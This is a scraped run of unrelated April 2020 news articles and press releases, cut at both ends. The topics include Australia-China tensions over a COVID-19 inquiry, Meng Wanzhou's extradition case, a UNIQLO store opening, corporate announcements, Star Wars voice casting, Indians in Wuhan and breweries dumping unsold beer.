masks as they offer prawns for sale at a market in Wuhan where reports of the virus first emerged in December He also admitted China would try 'economic coercion' to bring Australia to heel, making a thinly-veiled threat that 'time will prove it all'. 'Let me give a "coercion" to Australia,' he wrote on Twitter on Wednesday morning. 'As its attitude toward China becomes worse and worse, Chinese companies will definitely reduce economic cooperation with Australia. 'And the number of Chinese students and visitors going to Australia will also decrease. Time will prove it all.' His comments echo those made by Chinas ambassador, Jingye Cheng, who last week threatened a mass boycott of Australian produce. On Sunday Chinese Ambassador to Australia Jingye Cheng (pictured) warned Chinese consumers may stop buying Australian products in revenge 'Maybe also the ordinary people will say, ''why should we drink Australian wine or to eat Australian beef?'',' he told the Australian Financial Review. Australia responded quickly, making it clear the ambassador's comments were out of line. 'The government has made our displeasure with those remarks known,' Trade Minister Simon Birmingham said on Tuesday. China accounts for 26 per cent of Australia's total trade, worth around $235 billion in 2018/19, and is the biggest single market for Australian exports including coal, iron ore, wine, beef, tourism and tertiary education. But the Scott Morrison government stood firm in its decision call for a global inquiry into how the virus spread from its epicentre in Wuhan and caused a global crisis. Senator Birmingham said Australia was a 'crucial supplier' to China for imports and energy helped power much of China's manufacturing growth and construction. 'COVID-19 has seen hundreds of thousands of people die around the world, millions of people lose their jobs, billions of people face massive disruption to their lives,' he said. 'The least the world can expect is a transparent inquiry into the causes of COVID-19 so that we can understand how best to prevent a repeat episode any time in the future.' Mr Birmingham said on Tuesday Ambassador Cheng had been called by the secretary of the Department of Foreign Affairs and Trade to explain his comments about China boycotting Australian produce. China is Australia's largest trading partner. Mr Jingye said Chinese citizens may reject Australian exports and industries if the probe goes ahead (pictured: Chinese nationals on a holiday in Sydney) The Chinese embassy took the extraordinary step of publishing a summary of the conversation later on Tuesday. On its website, it noted Cheng said China 'flatly rejected the concern expressed from the Australian side'. Ambassador Cheng said 'the fact cannot be buried that the proposal is a political manoeuvre,' according to the statement, which added that Australia was 'crying up wine and selling vinegar' when it said the proposed review would not target China. Ambassador Jingye Cheng slammed Australia's push for an inquiry into the origins of COVID-19 Australia's Department of Foreign Affairs and Trade released a statement on Tuesday night addressing China's remarkable decision to publish the conversation. 'DFAT notes with regret that the Embassy of the People's Republic of China has issued a statement releasing purported details of official diplomatic exchanges,' the statement read. 'The department will not respond by itself breaching the long standing diplomatic courtesies and professional practices to which it will continue to adhere. 'How foreign missions engage the Australian media are matters for those missions. 'For its part, the department will continue to pursue Australia's interests with all foreign missions according to the highest standards of professionalism, courtesy and respect for our counterparts.' Australia's trade relationship with China - 2018/19 EXPORTS Iron ores & concentrates: $63.1billion Natural gas: $16.6billion Coal: $14.1billion Gold: $5billion IMPORTS Telecom equipment: $8.8billion Computers: $6.6billion Furniture and mattresses: $3.4billion Refined petroleum: $2.7billion Advertisement An aerial view shows the P4 laboratory at the Wuhan Institute of Virology in Wuhan - the city where the World Health Organisation believes the virus originated The extraordinary diplomatic standoff comes in the face of the largest economic shock Australia has seen since the peak of the Great Depression in 1931. Businesses and jobs will be lost permanently as a result of the global pandemic. Treasury predicts unemployment to peak at 10 per cent. The jobless rate was higher during the economic devastation through the 1930s, but the numbers steadily rose over the course of years rather than months. Treasury boss Steven Kennedy says the virus is having an unprecedented impact on economies worldwide. 'We have never seen an economic shock of this speed, magnitude and shape, reflecting that this is both a significant demand and supply shock,' he told a Senate committee in Canberra on Tuesday. Dr Kennedy believes the crucial financial ties between China and Australia can help both countries recover from the economic crisis. 'There is great economic return to Australia in continuing to support Chinese development and growth through our trade relations,' he said. Australia's tourism industry would be heavily impacted if Mr Jingye's statement is correct. Pictured: Chinese tourists in Sydney Foreign investment rules have been temporarily tightened to give Treasurer Josh Frydenberg more oversight of overseas capital being tipped into Australia. Meanwhile, Labor leader Anthony Albanese backed the government's calls for a review into the origins of COVID-19. 'This is so it never happens again,' he told ABC radio. Mr Albanese says Australia's relationship with China is important and must be nurtured. 'It's important that an element of that relationship be transparency. Australia wants a positive relationship with China but it's got to be built on a level of trust and transparency.' The origin of the virus is still unknown, but the World Health Organisation believe it stemmed from a live animal wet market in Wuhan, China. The virus has killed more than 211,000 people worldwide. This photo taken on April 15, 2020 shows a worker wearing a face mask as he throws ice into a pool with fish at a shop at a market in Wuhan where the first reports of the virus emerged in December China's $135billion revenge: How Beijing could 'decimate' Australia's economy as punishment for Scott Morrison's attempts to ban wet markets and push for a coronavirus inquiry By Charlie Moore for Daily Mail Australia Australia's economy would be 'decimated' if trade with China decreased as relations hit new lows over the coronavirus crisis, experts have warned. The federal government's calls for a ban on wet markets and an inquiry into the virus origins - as well as repeated suggestions that China covered up the spread - have infuriated Beijing. Last week the the Chinese Embassy called Home Affairs Minister Peter Dutton 'pitiful,' 'ignorant' and a US 'parrot' after he told China to 'answer questions' about how coronavirus started. And on Sunday Chinese Ambassador to Australia Jingye Cheng warned that Chinese consumers may stop buying Australian products in revenge. The dispute comes after a torrid year for Australia-China relations saw clashes over political interference, human rights abuses in western China and Huawei 5G equipment. Former Australian ambassador to China Geoff Raby told Daily Mail Australia that diplomatic relations are 'at their lowest point since they began 46 years ago'. China provides 16 per cent of our tourists and 38 per cent of our international students who contribute tens of billions to the economy. Pictured: Tourists at the Sydney Opera House The federal government's calls for a ban on wet markets and an inquiry into the virus origins - as well as repeated suggestions that China covered up the spread - have infuriated Beijing. Pictured: A wet market in Nanming, China Dr Raby slammed the Morrison government's brazen approach and said public calls for coronavirus inquiry and a ban on wet markets would only 'harden attitudes on both sides.' Now there are grave fears the diplomatic deterioration could have serious consequences for everyday Australians. As our biggest trading partner by far, China buys a third of our exports, including iron ore, coal and beef, supporting hundreds of thousands of jobs. China also provides 16 per cent of our tourists and 38 per cent of our international students who contribute tens of billions to the economy. Jane Goolley, Professor at the ANU College of Asia and the Pacific, said the government should not 'bite the hand that feeds us'. 'It's shocking that relations with China are going from bad to worse and no-one seems to mind,' she said. Professor Goolley said Mr Morrison has no hope of forcing China to ban wet markets, which are a crucial source of food and income for millions. The outbreak erupted in Wuhan, China in December. Pictured: Staff members line up as they prepare to spray disinfectant at Wuhan Railway Station in March 'There is zero chance that what we say has any impact,' she said. 'We will only infuriate Chinese government because they so strongly object to foreign interference. 'At best the government's approach will make no difference and at worst the Chinese government will decide to contract the relationship with Australia.' China could punish Australia with official economic sanctions or, more likely, through an unofficial campaign telling Chinese people to boycott Australian goods and services, she said. Australia's export markets in 2019 1. China: $135 billion (33% of total Australian exports) 2. Japan: $36 billion (9%) 3. South Korea: $21 billion (5%) 4. United Kingdom: $16 billion (3.8%) 5. United States: $15 billion (3.7%) Source: Worldstopexports.com Advertisement Beijing's recent track record of economic coercion includes encouraging a boycott of South Korean cars after the country deployed a US missile shield in 2017 and a ban on Norwegian salmon after Chinese rebel Liu Xiaobo won the Nobel Peace Prize in Oslo that same year. Australia and China have had a free trade agreement since 2015 but some exporters have still run into difficulties as relations have soured. In 2018 Beijing imposed new customs regulations on Australian wine resulting in shipments being held up in Shanghai. And last year - after Canberra stripped Chinese businessman Xiangmo Huang of his visa - major ports prolonged clearing times for Australian coal to at least 40 days, claiming the delay was due to 'normal' safety checks. Professor Goolley warned this type of manoeuvering could resume if the federal government continues to upset the Chinese government. 'Beijing could find ways to choke off parts of trading and relationship,' she told Daily Mail Australia. 'For example, it could increase propaganda persuading students and tourists not to come here. 'Some say Beijing could turn off the tap and choke the Australian University Sector. 'It doesn't want to do this because it wants its citizens to benefit from Australian education - but if it did that would cost thousands of jobs in our universities and leave the sector decimated. 'Even if the Chinese government does nothing, we could lose the market if Chinese people perceive our government as being anti-China,' she warned. Ambassador Cheng raised the prospect of a consumer backlash on Sunday, telling the AFR: 'The tourists may have second thoughts. Prime Minister Scott Morrison (pictured) has repeatedly called for a coronavirus investigation and has demanded changes in the 'upper echelons' of the World Health Organisation after it praised China's handling of the outbreak 'The parents of the students would think whether this is the best place to send their kids. 'It is up to the people to decide. Maybe the ordinary people will say 'why should we drink Australian wine? Eat Australian beef?' Former Liberal Party leader John Hewson also warned the federal government's hard line on China could be risky given that Australia is 'clearly the most dependent economy on China'. Diplomatic relations are at their lowest point since they began 46 years ago Ex-ambassador to China Geoff Raby Mr Morrison has called the re-opening of the wet market where the virus spawned 'unfathomable' and has demanded changes in the 'upper echelons' of the World Health Organisation after US President Trump cut funding because it praised China's handling of the outbreak. 'These sort of piecemeal statements and initiatives can be counterproductive, especially if they are easily identified as 'sucking up to the US', or 'doing the US's bidding', and so risk unwanted Chinese responses that could be detrimental to our interests more broadly,' Dr Hewson told Daily Mail Australia. He said the answer was not to 'suck up to China' but rather focus on developing a 'clear, definitive, China Policy consistent with a hard-headed assessment of our national interest.' 'I believe that we will earn their respect over time by clearly and consistently acting and advocating in terms of our national interests, principle and values,' he said. Dr Raby voiced similar concerns on the public approach the Morrison government has taken to calling out China when other key allies such as Britain and France have stayed quiet. Dr Raby said Canberra should 'use the crisis the repair relations with Beijing' because Australia will need China to help the economy recover after crippling lockdowns pushed almost a million Aussies out of work. Pictured: Centrelink queues He said desires for a coronavirus inquiry were 'perfectly reasonable' but 'this can only be done on the basis of international cooperation' because China will vigorously defend its sovereignty. 'The approach by The Australian Government is hardly the way to build such a consensus. Australia should be quietly discussing such things with like-minded countries, not publicly leading the pack.' Dr Raby said Canberra should 'use the crisis the repair relations with Beijing' because Australia will need China to help the economy recover after crippling lockdowns pushed almost a million Aussies out of work. 'We should be talking about how to ensure something like this doesn't happen again and how we can collectively repair our economies,' he said. 'Australia will definitely need China to be part of the solution for the economic damage it is experiencing.' Showing how important China is to Australia, a report by Deloitte in 2017 found that half a million Aussies would lose their jobs if China's growth rate fell from 6.5 per cent to less than 3 per cent. Analysts have long warned against the dependency on one country and have touted India and Indonesia as huge markets - but it will take years for demand in those countries to match China's. Professor Goolley said: 'We need China now more than ever.' A Canadian court has settled on a strategy to release a key ruling on the fate of Huawei executive Meng Wanzhou that is likely to draw worldwide attention but has been complicated by the coronavirus outbreak. Meng, who is currently under partial house arrest in Vancouver, could be set free by the Supreme Court of British Columbia if Justice Heather Holmes decides that the extradition case against her fails the test of "double criminality". Meng was arrested at Vancouver's airport more than 16 months ago to face trial for fraud in the US, but Holmes must first be convinced the US charges would also constitute a crime in Canada, according to its extradition rules. On Monday, Holmes decided at a case management hearing that the media, Meng's lawyers and the Canadian government lawyers arguing for extradition would be given three days' notice of her double-criminality ruling. At a March 30 hearing, Holmes had said that decision "is not going to be released in the near future". Meng Wanzhou, chief financial officer of Huawei, leaves British Columbia Supreme Court in Vancouver on January 23. Photo: The Canadian Press via AP alt=Meng Wanzhou, chief financial officer of Huawei, leaves British Columbia Supreme Court in Vancouver on January 23. Photo: The Canadian Press via AP On the day of the ruling, the lawyers would get to see a written copy at 9am. At 10am they would be allowed to inform Meng and other interested parties, including the attorney general of Canada, the US Department of Justice and the Canada Border Services Agency. Members of the media would also be allowed to see the ruling at 10am by participating in a lock-up at the courthouse in a way that Holmes said would abide by Covid-19 social distancing rules. They would be stripped of electronic devices until the decision is announced at an in-person hearing at 11am. But Holmes agreed that the opposing sets of lawyers could also agree to hold that hearing by teleconference, in another nod to social distancing. Story continues Regular operations of the Supreme Court of British Columbia, where the extradition case is being argued, have been suspended since March 18. Monday's hearing was held by teleconference. Lawyers and most of the media attended by phone, with Holmes and court staff present at the Vancouver court complex. There were also about 16 people in the public gallery, Holmes noted, "all appropriately spread out, thank you very much, and many wearing masks." Meng spoke briefly " "yes, my lady" " to confirm she was listening to the hearing by phone. The case was adjourned until June 15. Meng is wanted by the US on bank fraud charges relating to Huawei's business dealings in Iran in alleged breach of US sanctions. She was arrested at Vancouver's international airport on December 1, 2018. Her lawyers say the extradition case should be thrown out because breaching US sanctions against Iran is not a crime in Canada. They have made this argument without admitting that such breaches occurred. Lawyers for Canada's attorney general, representing US interests in the case, counter that Meng is accused of fraud, a crime in Canada, for allegedly lying to HSBC bank about Huawei's conduct in Iran. If Holmes rules that the case satisfies double criminality, then Meng will continue to fight extradition on other grounds. If she rules that it does not, Meng could be immediately freed, although the attorney general's lawyers could appeal and seek a stay on her release. Meng's arrest was an earthquake moment in US-China ties, and the extradition case has sent Canada's relationship with Beijing plummeting to new depths. Two Canadians, Michael Kovrig and Michael Spavor, were swiftly arrested by Beijing and accused of espionage, but critics see them as hostages taken in retaliation for Meng's arrest. Depending on the initial double criminality ruling, Meng's extradition case is expected to continue until October or November, although appeals could last years. Meng, Huawei's chief financial officer and the daughter of company founder Ren Zhengfei, is living in a C$13.6 million (US$9.6 million) mansion, one of two homes she owns in Vancouver. She is free on C$10 million bail and is allowed to travel around most of Vancouver, but she must abide by a curfew, wear a GPS monitor on her ankle and not go near the city's airport. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. UNIQLO SC VivoCity will open on May 15 UNIQLO SC VivoCity offers the latest full LifeWear line-up with the 2020 Spring/Summer Collection, together with exclusive limited offers available during the opening week, which will deliver a magnetic store experience for local and expatriate communities in Ho Chi Minh City, especially District 7. "We look forward to opening our second store in Ho Chi Minh City next month. We are doing our best to create a world-class store to showcase LifeWear to meet the needs of everyones daily lifestyles in harmony with the community around us. Through the opening of our third store in Vietnam, we remain committed to contributing to the local community and being an integral part of Vietnams growth and future, said Osamu Ikezoe, general director and chief operating officer, UNIQLO Vietnam. UNIQLO SC VivoCity is the retailers third store in Vietnam. With a sales floor area of over 2,000 square metres, UNIQLO SC VivoCity provides customers a full line-up of LifeWear products for men, women, kids, and babies. Through creative visual merchandising and store operations, UNIQLO SC VivoCity promises a world-class retail experience and the service levels expected from UNIQLO stores. LifeWear is UNIQLOs commitment to create well-designed clothing that will meet everyones needs for daily wear. High quality, functional, affordable, and innovative, LifeWear is available in a variety of colours and designs for people of all ages. Latest seasonal apparel line-up The complete lineup from the 2020 Spring/Summer collection will be available in store, along with the special new collection of Marimekko and other special UT collections. Special UT collections will include EDO UKIYO-E a collection based on Ukiyo-e masterpieces from the world-famous holdings of the Museum of Fine Arts, Boston and Mickey Stand Vietnam a line of special UT items limited to Vietnam, including a number of uniquely Vietnamese motifs. In addition, this collection will have the appreance of the beloved Pokemon for people of all ages. This collection represents Pokemon's key philosophies adventure, discovery, and friendship. Especially, monpoke Pokemons Japanese brand for babies will be featured in the collection. The Marimekko Collection is a new, limited edition collection marrying simplicity with creativity and featuring timeless silhouettes in bold and vibrant Marimekko designs. Marimekko is a Finnish design house celebrated for its original prints and colours since 1951. Exclusive limited offers During the opening week, UNIQLO customers can access limited offers on essential items which are perfect for whole family members during the summer season. Exclusive novelties For each bill from VND1.499 million ($65), customers can receive one special tumblers (while stocks last). In accordance with the governments guidance to ensure the safety of customers and employees, during store operating hours, UNIQLO will strictly follow sanitisation guidelines, including providing masks, hand sanitiser, and measuring body temperature before entry. SINGAPORE, April 27, 2020 /PRNewswire/ -- Singapore Corporate Services Pte Ltd ("SCS"), a leading Singapore-based CPA firm, has advanced to its next step of streamlining service offerings with a new cloud-based e-commerce platform, in light of the Singapore Government's SMEs Go Digital programme. The accounting e-commerce platform, the first of its kind, enables SCS clients to see prices and order a full range of XBRL reports. The familiar e-commerce interface integrated into the company's website brings accounting to the next level, eliminating time-consuming back-and-forth between the firm and its clients while making prices and fees transparent. "We are always looking for ways to make accounting simple. As a specialist for start-ups and small and medium enterprises (SMEs), we must streamline our accounting services to help them stay compliant and competitive without disrupting their day-to-day operations," said Alan Chang, Managing Director of SCS. "With the adoption of cloud accounting software, we have been able to make reporting procedures much more efficient and generate consistent financial reports for our clients without breaking the bank," Chang added. The digital transformation of its services has also propelled SCS to offer cost-effective plans to its SME clients, who need to reallocate resources to growth goals. SMEs employ two-thirds of Singapore's workforce and contribute nearly half of the country's GDP, according to the Singapore Infocom Media Development Authority (IMDA). IMDA's SMEs Go Digital programme aims at developing SME-friendly Industry Digital Plans to help these businesses seize growth opportunities in the digital economy. Understanding SMEs' needs to focus on more pressing areas of operations SCS aims to support them to become agile with automated processes to achieve productivity, while ensuring compliance requirements. Going paperless for accounting transactions not only removes the costs of printing and postage and speeds up the payment process, but also enhances SCS' and its clients' ESG commitment by reducing paper waste. In addition, for the first time, SCS' online services include helping businesses incorporate a company and open a bank account in Singapore without travelling, significantly saving paperwork, time and money for customers. Phase 2 of SCS digital expansion will see the gradual introduction of new accounting and tax related services to the platform, ensuring ease and convenience for companies looking to digitise their operations. To incorporate a new company or to order accounting services with ease, please visit SCS' new website at https://scs-cpa.com/ About SCS Singapore Corporate Services Pte Ltd (SCS) is a Singapore-based CPA firm with over 20 years of combined experience. The company provides professional bookkeeping and accounting outsource services, corporate and personal income tax, goods and services tax (GST), payroll, company incorporation and other compliance expert services. SCS is a Registered Filing Agent with the Accounting and Corporate Regulatory Authority of Singapore (ACRA). SOURCE Singapore Corporate Services Pte Ltd Related Links https://scs-cpa.com/ Meeting to be held virtually in light of COVID-19 concerns SALT LAKE CITY, April 27, 2020 (GLOBE NEWSWIRE) -- Overstock.com, Inc. (OSTK) announces that it will now hold its 2020 annual stockholders meeting virtually, in lieu of an in-person meeting, in response to direction from health and government officials against large gatherings during the countrys response to COVID-19. The annual meeting will continue to be held at 1:00 p.m. (MT) on May 12, 2020. Holders of record at the close of business on March 20, 2020 will be entitled to vote at and ask questions during the annual meeting by following the instructions available on the virtual meeting website at https://www.meetingcenter.io/259771871. An audio replay of the virtual meeting will be available at http://investors.overstock.com starting two to three days after the meeting date. To join the meeting as a stockholder, rather than as a guest (who is unable to vote), you will be required to enter (i) the control number on the proxy card you previously received, and (ii) the password OSTK2020 on the virtual meeting website. Additional information for attending and voting at the annual meeting may be found in the Companys Notice of Change in Location of the 2020 Annual Meeting of Stockholders, filed with the SEC and made available to stockholders on or about the date of this release. Beneficial or street name holders are advised that if they wish to join the meeting as a stockholder (rather than as a guest), they must register for the meeting in advance by submitting a copy of the legal proxy card provided by their broker to Computershare at legalproxy@computershare.com. Requests for registration must be labeled as Legal Proxy and must be received no later than 5:00 p.m., Eastern Time, on May 7, 2020. Stockholders are encouraged to submit their votes in advance of the annual meeting via the internet or by telephone or proxy card, as instructed in the Proxy Statement and notice of internet availability. Proxy cards previously distributed to stockholders will not be updated and may continue to be used to vote in connection with the annual meeting. Story continues The list of our stockholders entitled to vote at the annual meeting will be available for viewing by stockholders during the annual meeting for any purpose germane to the meeting by accessing the virtual meeting site. About Overstock Overstock.com, Inc Common Shares (OSTK) / Digital Voting Series A-1 Preferred Stock (Medici Ventures tZERO platform:OSTKO) / Series B Preferred (OSTBP) is an online retailer and technology company based in Salt Lake City, Utah. Its leading e-commerce website sells a broad range of new home products at low prices, including furniture, decor, rugs, bedding, home improvement, and more. The online shopping site, which is visited by nearly 40 million customers a month, also features a marketplace providing customers access to millions of products from third-party sellers. Overstock was the first major retailer to accept cryptocurrency in 2014, and in the same year founded Medici Ventures, its wholly owned subsidiary dedicated to the development and acceleration of blockchain technologies to democratize capital, eliminate middlemen, and re-humanize commerce. Overstock regularly posts information about the Company and other related matters on the Newsroom and Investor Relations pages on its website, Overstock.com. O, Overstock.com, O.com, Club O, Main Street Revolution, and Worldstock are registered trademarks of Overstock.com, Inc. Other service marks, trademarks and trade names which may be referred to herein are the property of their respective owners. SOURCE: Overstock.com, Inc. Maul, formerly known as Darth Maul, is one of the most complex characters in all of Star Wars. Hes also known for having some of the best entrances ever. Not only did fans think he was gone for good after The Phantom Menace with him cut in half, and everything but then no one expected him to show up in Solo: A Star Wars Story. Yet he did, and his Shadow Collective had a major role in the film, too. Whats even cooler about that cameo is that Sam Witwer voiced him, as he does on The Clone Wars. But that almost wasnt the case. Sam Witwer at Star Wars Celebration 2019 in Chicago, IL/Maul in Episode 10, Season 7 of Star Wars: The Clone Wars | Daniel Boczarski/FilmMagic/Disney+ Originally, Maul was going to be voiced by Peter Serafinowicz, who voiced him in The Phantom Menace In a new interview with Star Wars Holocron blog, Witwer opened up about how he wasnt always going to be the voice of Maul in Solo. In fact, it was originally going to be Peter Serafinowicz, who voiced him in Star Wars: Episode I The Phantom Menace. Ray Park played the live-action, physical version of Maul in both movies and was the motion capture body model for Mauls fight scenes in Season 7 of The Clone Wars. However, Witwer revealed that Serafinowicz wasnt a good fit for this Maul, so many years later. Witwer implies that Serafinowicz was cast again because of his involvement in Episode I, rather than Lucasfilm making that decision from a storytelling standpoint. He went on to explain why it didnt work anymore with the original voice of Maul. Hes such a talented, talented guy and I admire the hell out of his work, but it was not recognizably the character and it wasnt even recognizably The Phantom Menace character. It was a very different thing and they werent getting the right stuff. Witwer thought hed be best for continuity purposes and because the audience knew him as Maul One of the main reasons why Witwer thought hed be the best fit to voice the live-action Maul is simple: hes played him for years and hardcore fans would tell the difference. He explained that one camp of fans wont even know Maul came back after Obi-Wan Kenobi sliced him in half in The Phantom Menace. So Witwer said the audience members Solo needed to appeal to here were the ones that knew Witwers Maul. Since youre leaning on the fans who understand what the Shadow Collective is, and the way you want to construct the scene where you want to hear his voice and then see him, doesnt that serve to reason that the fans have to recognize the voice? Witwer said. Its probably got to be me, and not to mention Ive been playing the guy for a decade. In an interview with Collider on April 1, 2019, Serafinowicz said he wasnt told about the casting change until a couple of days after the premiere of the movie. Witwer put his foot down when he saw certain things in the script There was originally growling written into the script and thats when Witwer put his foot down about casting him in the role and also writing it from a better perspective, closer to who the actual character of Maul was. So I did run the math and said, in this case, Im actually going to play a card I havent played with Lucasfilm before and say, Youre making a mistake if you dont go for me, Witwer said. Now, do whatever you have to do, try out whatever you have to try out, but I think youre making a mistake if you dont get me in there. Witwer did point out that he was developing Maul under George Lucas and Dave Filoni, basically being the expert on him and already having the voice-acting credit. And he said he had a lot of people behind him, backing him up for the role in the film. And when Maul wasnt hitting quite right in Solo, before scrapping that cameo, they listened to those who brought up Witwers name, and it finally worked. Once Witwer was hired in the role, reshoots had to happen because it wasnt consistent with the character It seemed like not everyone on the production side of the movie knew about The Clone Wars and Witwers involvement with it. Ron Howard, the director of Solo didnt know that George Lucas had personally worked on it, that it was his baby as Witwer put it. But once he did, he brought Witwer on as the voice of Maul. But reshoots had to be done in order to fully fix the problems they were having with Mauls cameo. People like me and Dave Filoni were letting them know there were a lot of details that werent consistent, Witwer explained about why reshoots had to happen. Thats not me saying these people didnt know what they were doing because they were making a movie and doing it at lightspeed. In the end, Witwer wanted to emphasize that he wasnt bashing those that worked on the movie or Serafinowicz. It just didnt sound recognizable as the character from The Phantom Menace nor the character from Clone Wars. It was a totally different thing. They needed people to recognize the voice, so there it is. That cameo in Solo is probably one of the coolest surprises in recent Star Wars memory, and it wouldnt be Maul without Witwer, as he also expertly proves in the Siege of Mandalore. A few gutsy Indians who stayed put in Wuhan are back at work after a strict 76-day lockdown, but are still worried about the possibility of a second wave of attack by the vicious coronavirus, going by the growing number of asymptomatic cases in the country. Wuhan, the central Chinese city at the epicentre of the coronavirus pandemic, made global headlines on Sunday as the last COVID-19 patient was discharged, marking an important milestone in the city's fight against the invisible enemy, while India and several other countries are still under strict lockdown to curb the spread of the disease that has claimed over 210,000 lives worldwide. With 50,333 confirmed cases and 3,869 deaths, Wuhan bore the brunt of the highly-infectious virus which first emerged there in December last year and spread like wildfire in the city of 11 million people before turning into a global pandemic, virtually bringing the world to a grinding halt. Wuhan, which became famous in India for the historic first informal summit between Prime Minister Narendra Modi and Chinese President Xi Jinping in 2018, is a major international educational centre and industrial hub with some of China's famous scientific research centres and laboratories, attracting students from India and abroad. After the virus outbreak, over 600 Indian students and professionals were evacuated in February by the Indian government to ensure their safety but few Indians chose to stay put and opted to brave the crisis through for professional and personal reasons. Some of them spoke candidly on the present situation in Wuhan but on the condition of anonymity when PTI contacted them to find out their impressions as the city limped back to normalcy after facing the worst public health crisis in modern history. "Yes, the lockdown was lifted on April 8 and more and more people ventured out but only for work and to buy the essentials. Most of the people stayed at home due to fear of asymptomatic cases," an Indian researcher said. China's National Health Commission (NHC), which issues a daily COVID-19 update, has said that no new cases or deaths have been reported in Wuhan for the past several days. On Monday, 40 new asymptomatic cases, including three from abroad, were reported in China. So far 997 asymptomatic cases, including 130 from abroad, were still under medical observation, the NHC said on Tuesday. Hubei province, of which Wuhan is the capital, had 599 asymptomatic cases under medical observation by Monday. After the virus outbreak abated, China closed the 16 temporary hospitals in the worst-hit city and withdrew over 42,000 medical personnel from other provinces in Wuhan though asymptomatic cases continue to be reported. Asymptomatic cases refer to people who tested positive for the coronavirus but develop no symptoms such as fever, cough or sore throat. They pose a risk of spreading the infection to others. "As a result of the asymptomatic cases, there is unease and apprehension among people as you don't know about the people you meet both at work and in the city, another Indian said, adding that there is a fear of a second wave of COVID-19 infections in the city. As a result, most of the people continue to stay back at home after work, he added. Though the lockdown has been lifted, local officials continue to ask people to stay indoors, saying the global situation of the coronavirus is still critical. Thousands of people, who were held up in Wuhan, left after the lockdown but the city is still dealing with the carriers of the virus, he said. Situation has improved a lot but people maintain social distancing and follow self-isolation, another Indian researcher said. The Indians said Wuhan health authorities are stepping up testing. They were using nucleic acid tests to determine COVID-19 infections, especially the asymptomatic cases. There is also apprehension about recurrence of the virus among those who recovered, another Indian said. The Wuhan-based Indians also say that most of them are concerned that the virus is spreading in India. In January, February and March, my family was worried about me, now I am worried about them and continuously monitoring the spread of the virus back home, he said. An Indian scientist with virology background said that like in Wuhan, the lockdown broke the chain of the coronavirus in India, containing the infection. "Barring a few states the peak seems to be over in India and the credit goes to the lockdown in the country though it appears to be chaotic at times, he said. About the controversy over the origins of the virus, another Indian researcher said the world should focus first to bring the virus under control and later address such issues. The novel coronavirus is believed to have originated in a wet market in Wuhan and first emerged in December before spreading quickly worldwide. The US has demanded a probe whether the virus broke out from the Wuhan Institute of Virology. China says issues like the origin of the coronavirus should be left to science and medical professionals. A total of 4,633 people died in China due to the coronavirus. As of Monday, the overall confirmed cases in China reached 82,836, including 648 patients who were still being treated and 77,555 people discharged from hospitals. The novel coronavirus has killed more than 210,000 people worldwide and infected over 3 million others, according to a tally by Johns Hopkins University. Earlier this month, workers at Bauhaus Brew Labs wondered what to do with the Wheat Sweats, its spring seasonal beer. The Minneapolis brewery had finished the second batch of the beer, a banana-scented hefeweizen, before Minnesota moved to prevent the spread of the coronavirus outbreak by ending on-premises sales at bars, restaurants and taprooms on March 17. Demand for draft beer dried up, and Bauhaus kegs and cans filled its distributors warehouse, with no need for new inventory. On April 21, in a scene reminiscent of Prohibition, the brewery decided to send more than 900 gallons of perfectly good beer down the drain. For Bauhaus and other craft breweries, kegging or canning beer that cant be sold would be a wasted expense. And the beer is quickly approaching the dates set for peak freshness and quality, which then start to decline. It was a painful decision, and not one that we have ever had to make, said Drew Hurst, director of operations. But with plenty of beer already on hand, there was literally nothing that we could do with it. Liquor and grocery stores are seeing increased sales of beer in cans and bottles, but shuttered bars and canceled events have created a backlog of draft beer some of which is being sent to wastewater treatment plants for disposal, freeing up tanks and kegs for breweries to restart future production. Most small craft breweries dont sell to grocery stores, and they normally rely on draft beer sales at their high-margin taprooms and brew pubs to bolster bottom lines. Draft beer makes up 10% of the average American brewerys volume, said Bart Watson, chief economist at the Brewers Association, and almost 40% for small brewers. For nearly 22 years, Barley Browns Beer, in Baker City, Oregon, sold only draft beer. After Oregon closed the states bars and restaurants in March, distributors canceled their orders. Tyler Brown, the owner and general manager, had to decide whether to dump more than 12,000 gallons of his fragrant IPAs., which are most aromatic and flavorful within 90 days. That would kill me, Brown said. The brewery quickly pivoted to beat the clock. By the end of March, Barley Browns began canning its popular Pallet Jack IPA, something Brown had sworn he would never do. I would rather eat a lot of crow than send beer to a sewer, he said. To get draft beer into customers hands, breweries are getting creative with packaging. Machine House Brewery, in Seattle, now offers its traditional British cask ales in a 5-liter bag-in-a-box, typically used to sell wine. To me, its a perfect weird little solution to our particular problem, said the owner, Bill Arnott. The brewery has several hundred firkins small casks full of finished beer with dispensing devices called beer engines for serving on premises. I cant bottle the stuff, Arnott said. Many breweries offers crowlers, 32-ounce cans that are hand-filled with tap beer. But doing so requires costly machines to seal them, not to mention cans, which are in short supply. Crank Arm Brewing, in Raleigh, North Carolina, sells 150 gallons of beer weekly in half- and 1-gallon plastic jugs that might typically contain milk. With the absence of sales at bars and restaurants, beer distributors nationwide are sitting on stacks of unneeded kegs slowly approaching their expiration dates. Suddenly, 60,000 gallons of beer in my cooler are going out of code, David J. Farrell, president and chief executive of Farrell Distributing, wrote in an email. As a solution, the distributor, based in South Burlington and Rutland, Vermont, is sending kegs Bud Light and local lagers and IPAs alike to nearby Aqua ViTea Kombucha to decant and distill the beer, which is donated to Caledonia Spirits to become hand sanitizer. WhistlePig distillery, in Shoreham, Vermont, is using Farrells decanted beer to create whiskey, as part of what the chief executive, Jeff Kozak, called the great beer rescue program. The beer will be distilled, then put into barrels to age. Im intrigued by what the beer will be in four years, Kozak said. Most beer will likely not have a second life. As weeks of shelter-in-place orders stretch into months, brewers hard work may increasingly go down the drain. At its brewery in the Bronx, New York, Torch & Crown Brewing Co. has dozens of kegs of hoppy beers that are past the brewerys freshness window of about 45 days. Theyre slated for future disposal. But the brewery is busy transferring kegs of its still-fresh beer to tanks, and then repackaging it in 16-ounce cans a pint for the bar, now for home. I never thought it would be anything Id do in my brewing career, said Joe Correia, the head brewer and an owner. The process takes three to four days, involving constant measurements for damaging exposure to oxygen and bacterial contamination, before the brewery cans beers such as its Runner Up pilsner and Heavy Crown imperial stout. Theres no reason 